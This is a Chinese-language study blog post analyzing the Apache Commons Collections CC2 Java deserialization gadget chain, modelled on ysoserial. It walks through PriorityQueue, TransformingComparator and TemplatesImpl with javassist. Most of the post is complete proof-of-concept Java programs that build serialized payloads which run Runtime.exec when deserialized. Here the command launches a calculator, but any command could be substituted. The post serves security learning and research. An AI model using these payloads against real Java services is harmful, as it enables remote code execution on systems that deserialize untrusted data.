Java 反序列化漏洞-Apache Commons Collections2
前言
前面分析了CC1,今天继续学习,分析下CC2。在 ysoserial中 CC2 是用的 PriorityQueue类 作为反序列化的入口,那我就从这里开始分析吧。
漏洞挖掘
PriorityQueue
PriorityQueue 优先级队列是基于优先级堆(a priority heap)的一种特殊队列,他给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取。默认情况下,优先级队列会根据自然顺序对元素进行排序。
因此,放入PriorityQueue的元素,必须实现 Comparable 接口,PriorityQueue 会根据元素的排序顺序决定出队的优先级。如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。
PriorityQueue.readObject()
PriorityQueue.readObject()方法调用了heapify()方法,我们继续跟入
PriorityQueue.heapify()
heapify()调用了siftDown()方法,继续跟入。
PriorityQueue.siftDown()
当 comparator 属性不为空时,调用 siftDownUsingComparator() 方法
PriorityQueue.siftDownUsingComparator()
在 siftDownUsingComparator() 方法中,会调用 comparator 的 compare() 方法来进行优先级的比较和排序。
接下来我们看看在哪实现了compare()方法吧,
这里我们选择/org/apache/commons/collections4/comparators/TransformingComparator.java
TransformingComparator.compare()
在这里我们看到了熟悉的this.transformer.transform,CC1之前用的也是transformer.transform(),那我们只要把之前挖的链拿来这里用就行了,让this.transformer=chain即可
构造利用链
我们先看一眼TransformingComparator类的this.transformer是否可控
从这不难看出,我们只要直接传入即可。
然后再看到siftDown()函数这里
我们需要comparator 不为空,而且这里 comparator 可控,可由PriorityQueue 的构造方法传入
最后一个需要注意的点是heapify()函数这里
这里需要(size >>> 1) - 1 >=0,也就是size>=2
跟据上面的总结我们很容易写出利用链代码,chain的挖掘思路可以看看CC1
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
TransformingComparator transformingComparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, transformingComparator);
queue.add(1);
queue.add(2);
ByteArrayOutputStream exp=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(exp);
oos.writeObject(queue);
oos.flush();
oos.close();
ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois=new ObjectInputStream(out);
Object obj=(Object) ois.readObject();
}
}
利用链的构造与改进
上面的代码虽然能弹出计算器,但我之前调试的时候在前面用到的函数那里都下了断点,但是却都没有触发断点,包括readobject()函数,debug直接停在了compare()函数那里,这就说明他没有按照我们设想的利用链去走,没有触发反序列化,这是我们所不允许的。
根据左下角的函数调用栈,我们可以看到它调用的几个函数并不是我们所设想的
compare执行到return后程序直接停止了,所以我们后面的反序列化并没有执行。看大佬文章说原因是由于 ProcessImpl 没有实现Comparable而报错,程序终止,就没有执行后面生成序列化数据的代码。这是我们所不允许的,所以我们要看看调用栈里的其他函数有没有办法不让它走到这里
这里我们选择了siftUp函数,如果让 comparator 为null,他就会进入到 siftUpComparable,这样就不会出错了。但通过前面的分析我们知道了,我们反序列化的利用链是要让 comparator 不为null,那我们应该如何解决这个问题呢?这里想到了反射,在add 2个元素结束之后,将 queue对象中的 comparator设置成 transformingComparator,这里就需要用到反射了。
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
TransformingComparator transformingComparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,transformingComparator);
ByteArrayOutputStream exp=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(exp);
oos.writeObject(queue);
oos.flush();
oos.close();
ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois=new ObjectInputStream(out);
Object obj=(Object) ois.readObject();
}
}
调用链为
PriorityQueue.readObject()
TransformingComparator.compare()
*ChainedTransformer.transform()
InvokerTransformer.transform()
这里额外说一点,上面这种方法是让compare()方法里的this.transformer=chain来触发,我们换种思路再写个利用方式,我们让this.transformer=InvokerTransformer这么来触发
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
Field iParamTypes = transformer.getClass().getDeclaredField("iParamTypes");
Field iArgs = transformer.getClass().getDeclaredField("iArgs");
iMethodName.setAccessible(true);
iParamTypes.setAccessible(true);
iArgs.setAccessible(true);
iMethodName.set(transformer,"transform");
iParamTypes.set(transformer,new Class[]{Object.class});
iArgs.set(transformer,new Object[]{null});
Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,new Object[]{chain,2});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(ysoserial 中的 CC2)
这条利用链我在Java 反序列化漏洞–fastjson-1.2.24–TemplatesImpl攻击链分析过了,大家可以直接看那篇文章中POC构造那部分说明了使用要求
所以这里我们需要将恶意代码写到类的无参构造函数或static代码块中转换为字节码赋值给_bytecodes
这里我们用到了javassist,javassist是Java的一个库,可以修改字节码。
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Javassist_test {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault(); // 获取javassist维护的类池
CtClass cc = pool.makeClass("Test"); // 创建一个空类Test
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); //insertBefore创建 static 代码块,并插入代码
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //setSuperclass更改父类
byte[] classBytes = cc.toBytecode(); //toBytecode()获取修改的字节码
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates,targetByteCodes);
name.set(templates,"aaa");
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
根据前面分析,我们只需要通过反射反射将恶意的 TemplatesImpl 对象写入到 PriorityQueue 的 queue 中,也就是用这个恶意类代替上面的chain。然后找到一个位置调用newTransformer就能完成整个攻击。
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2_final {
public static void main(String[] args) throws Exception{
TemplatesImpl template = template();
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,new Object[]{template,2});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static TemplatesImpl template() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates,targetByteCodes);
name.set(templates,"aaa");
tfactory.set(templates,new TransformerFactoryImpl());
return templates;
}
}
这个和上面的第二种方法有点像,调用链如下所示
PriorityQueue.readObject()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
总结
CC2的构造思路和CC1还是有点像的,CC2利用 PriorityQueue 在反序列化后会对队列进行优先级排序的特点,为其指定 TransformingComparator 排序方法,并在其中为其添加 Transforer,与 CC1 类似,主要的触发位置还是 InvokerTransformer。
这次学习记录了CC2的两种利用方式,ysoserial 中的 CC2需要额外的知识javassist来进行构造,javassist是一个不错的知识点,后续可以继续学习。
参考
https://su18.org/post/ysoserial-su18-2/#commonscollections2
https://www.cnblogs.com/depycode/p/13583102.html